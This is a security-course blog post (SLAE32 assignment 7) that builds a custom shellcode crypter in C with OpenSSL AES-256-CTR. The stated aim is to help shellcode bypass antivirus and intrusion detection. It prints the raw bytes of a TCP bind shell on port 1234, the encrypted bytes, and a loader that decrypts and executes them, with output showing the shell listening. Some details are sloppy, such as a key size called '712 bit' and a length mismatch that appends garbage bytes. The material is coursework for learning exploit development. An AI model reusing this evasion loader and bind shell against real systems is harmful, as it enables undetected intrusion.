"/assets/images/default-thumb.png"}">
Thumbnail: logo

SLAE32 - Assignment 7 - Custom Crypter

by on



As as a seventh and last assignment of the 32-bit Securitytube Linux Assembly Expert, I have been tasked to create a custom shellcode crypter.
The idea behind a crypter, is to encode the shellcode beforehand and decode it at runtime. This process will make the shellcode looks like random values, and thus aiming to bypass AV and IDS detection.

When it comes to cryptography, it is a well-known wise approach to not try to reinvent the wheel and instead use what is available and well tested: this is done to prevent any new weakness or bug to be introduced in a a freshly written crypto-algorithm.

I have so decided to use widely adopted OpenSSL EVP framework and AES-256-CTR as symmetric stream cipher.

As a target shellcode, we are going to use the tcp-bind used for the first SLAE task, which will listen on port 1234.

We then use two piece of C code, one for crypting the shellcode and the other one for decrypt it and execute it.

For a successfull encryption we need two more piece of information:

  • An initialization vector (IV), responsible for creaing randomness
  • A shared secret (password), which is used for symmetric encryption/decryption.

Both of these values must be identical during the two phases, otherwise the process gets compromised.

We generate the secrete passphrase by SHA hasing a simple ‘shellcode’ word

# echo shellcode | shasum
424b1e9083e83b822ac7dbeb47be5f7dc0d849d5

And multiplate to fit the same length as the shellcode (89 bytes)

And truncated to 128bits ‘01123481321345514’ as initial IV (we kept it simple for the sake of this example, but normally the value should be generated randomly and not with a well known function :)

I have decided to use AES Counter Mode which is the key-stream version of the cipher.

Here is the EVP C code template, which will perform shellcode encryption.

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>

void print_shellcode(unsigned char *shellcode) {
    size_t len = strlen(shellcode);
    int i;

    for (i = 0; i < len; i++) {
        printf("\\x%02x", *(shellcode + i));
    }

    printf("\n\n");
}

int main(int argc, char *argv[]) {
    // 712 bit key
    unsigned char *key = "424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7";

    // 128 bit IV
    unsigned char *iv = "01123481321345514";



    // Unencrypted tcp-bind shellcode listening on port 1234
    unsigned char *plaintext = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56"
                               "\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97"
                               "\x93\xb0\x66\x56\x66\x68\x04\xd2\x66"
                               "\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1"
                               "\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89"
                               "\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57"
                               "\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93"
                               "\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b"
                               "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                               "\x6e\x89\xe3\x41\x89\xca\xcd\x80";

    // Buffer for ciphertext
    unsigned char ciphertext[712];

    // Buffer for the decrypted text
    unsigned char decrypted_text[712];

    int decrypted_len, encrypted_len;

    // Initialize the library
    ERR_load_crypto_strings();
    OpenSSL_add_all_algorithms();
    OPENSSL_config(NULL);

    // Encrypt the plaintext
    encrypted_len = encrypt(plaintext, strlen(plaintext), key, iv,
                            ciphertext);

    printf("Ciphertext is:\n");
    BIO_dump_fp(stdout, ciphertext, encrypted_len);
    printf("\n");

    // Decrypt the ciphertext
    decrypted_len = decrypt(ciphertext, encrypted_len, key, iv,
                            decrypted_text);

    decrypted_text[decrypted_len] = '\0';

    printf("Decrypted text is:\n");
    print_shellcode(decrypted_text);

    // Compare decrypt(encrypt(plaintext)) result to the original plaintext.
    if (strcmp(plaintext, decrypted_text) != 0) {
        printf("The decrypted shellcode does not match the plaintext.\n\n");
    } else {
        printf("The decrypted shellcode matches the plaintext.\n\n");
    }

    // Cleanup
    EVP_cleanup();
    ERR_free_strings();

    return 0;
}

void handleErrors(void) {
    ERR_print_errors_fp(stderr);
    abort();
}

int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
    unsigned char *iv, unsigned char *ciphertext) {
    EVP_CIPHER_CTX *ctx;
    int len;
    int ciphertext_len;

    // Create context
    if (! (ctx = EVP_CIPHER_CTX_new())) {
        handleErrors();
    }

    // Initialize encryption
    if (EVP_EncryptInit_ex(ctx, EVP_aes_256_ctr(), NULL, key, iv) != 1) {
        handleErrors();
    }

    // Encrypt the message
    if (EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len) != 1) {
        handleErrors();
    }

    ciphertext_len = len;

    // Finalize encryption
    if (EVP_EncryptFinal_ex(ctx, ciphertext + len, &len) != 1) {
        handleErrors();
    }

    ciphertext_len += len;

    // Cleanup
    EVP_CIPHER_CTX_free(ctx);

    return ciphertext_len;
}

int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
    unsigned char *iv, unsigned char *plaintext) {
    EVP_CIPHER_CTX *ctx;
    int len;
    int plaintext_len;

    // Create context
    if (! (ctx = EVP_CIPHER_CTX_new())) {
        handleErrors();
    }

    // Initialize decryption
    if (EVP_DecryptInit_ex(ctx, EVP_aes_256_ctr(), NULL, key, iv) != 1) {
        handleErrors();
    }

    // Decrypt the message
    if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1) {
        handleErrors();
    }

    plaintext_len = len;

    // Finalize decryption
    if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1) {
        handleErrors();
    }

    plaintext_len += len;

    // Cleanup
    EVP_CIPHER_CTX_free(ctx);

    return plaintext_len;

   }

And compile and run it:

# gcc -o crypter crypter.c -lcrypto
# ./crypter
Ciphertext is:
0000 - d1 9d 6f 0f 07 68 b8 3a-51 72 21 30 6a 16 e7 2d   ..o..h.:Qr!0j..-
0010 - c2 39 91 45 58 dd 54 f6-c1 75 b4 1c 59 0a b4 ac   .9.EX.T..u..Y...
0020 - ff 24 3f b1 fc fe d3 e5-d4 55 bb 55 4c cc f5 eb   .$?......U.UL...
0030 - ac 93 e6 5d e6 f1 fa 1a-1d 6a f5 9d cf 45 77 2a   ...].....j...Ew*
0040 - 6e d8 0e 19 88 f0 52 9c-e8 29 a9 cd e1 dd 9f 96   n.....R..)......
0050 - d1 d0 dc 99 70 96 44 4f-d8                        ....p.DO.

Decrypted text is:
\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80

The decrypted shellcode matches the plaintext.

We now take the encrypted shellcode and place it inside the decrypt.c code:

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>

void print_shellcode(unsigned char *shellcode) {
    size_t len = strlen(shellcode);
    int i;

    for (i = 0; i < len; i++) {
        printf("\\x%02x", *(shellcode + i));
    }

    printf("\n\n");
}

int main(int argc, char *argv[]) {
    // 256 bit key
    unsigned char *key = "424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7";

    // 128 bit IV
    unsigned char *iv = "01123481321345514";

    // Encrypted shellcode
    unsigned char *encrypted_shellcode =
   "\xd1\x9d\x6f\x0f\x07\x68\xb8\x3a\x51\x72\x21\x30\x6a\x16\xe7\x2d"
   "\xc2\x39\x91\x45\x58\xdd\x54\xf6\xc1\x75\xb4\x1c\x59\x0a\xb4\xac"
   "\xff\x24\x3f\xb1\xfc\xfe\xd3\xe5\xd4\x55\xbb\x55\x4c\xcc\xf5\xeb"
   "\xac\x93\xe6\x5d\xe6\xf1\xfa\x1a\x1d\x6a\xf5\x9d\xcf\x45\x77\x2a"
   "\x6e\xd8\x0e\x19\x88\xf0\x52\x9c\xe8\x29\xa9\xcd\xe1\xdd\x9f\x96"
   "\xd1\xd0\xdc\x99\x70\x96\x44\x4f\xd8";

    // Buffer for the decrypted text
    unsigned char decrypted_shellcode[712];

    int decrypted_len;

    // Initialize the library
    ERR_load_crypto_strings();
    OpenSSL_add_all_algorithms();
    OPENSSL_config(NULL);

    // Decrypt the ciphertext
    decrypted_len = decrypt(encrypted_shellcode, 712, key, iv,
                            decrypted_shellcode);

    decrypted_shellcode[decrypted_len] = '\0';

    printf("Decrypted text is:\n");
    print_shellcode(decrypted_shellcode);

    // Execute decrypted shellcode
    printf("Executing shellcode...\n");
    printf("Shellcode Length:  %d\n", strlen(decrypted_shellcode));
    int (*ret)() = (int(*)())decrypted_shellcode;
    ret();

    // Cleanup
    EVP_cleanup();
    ERR_free_strings();

    return 0;
}

void handleErrors(void) {
    ERR_print_errors_fp(stderr);
    abort();
}

int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
    unsigned char *iv, unsigned char *plaintext) {
    EVP_CIPHER_CTX *ctx;
    int len;
    int plaintext_len;

    // Create context
    if (! (ctx = EVP_CIPHER_CTX_new())) {
        handleErrors();
    }

    // Initialize decryption
    if (EVP_DecryptInit_ex(ctx, EVP_aes_256_ctr(), NULL, key, iv) != 1) {
        handleErrors();
    }

    // Decrypt the message
    if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1) {
        handleErrors();
    }

    plaintext_len = len;

    // Finalize decryption
    if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1) {
        handleErrors();
    }

    plaintext_len += len;

    // Cleanup
    EVP_CIPHER_CTX_free(ctx);

    return plaintext_len;
}

And again, compile it and execute it:

#gcc -o decrypt decrypt.c -lcrypto -z execstack

root@nelson:~/Desktop/x86Assembly/SLAE/Exam/7# ./decrypt
Decrypted text is:
\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80\x18\x27\x64\x42\x43\xbd\xfa\x89\xa1\x87

Executing shellcode...
Shellcode Length:  99

We can now open another shell terminal and verify that indeed the shellcode is happily listening on port ‘1234’

# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
...
tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN      5480/./decrypt


My assignment code can be found: here




This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-5837

exploit, SLAE, shellcode, security, x86IA, disassemble, crypter


© 2018 Matteo Malvica. Illustrations by Sergio Kalisiak.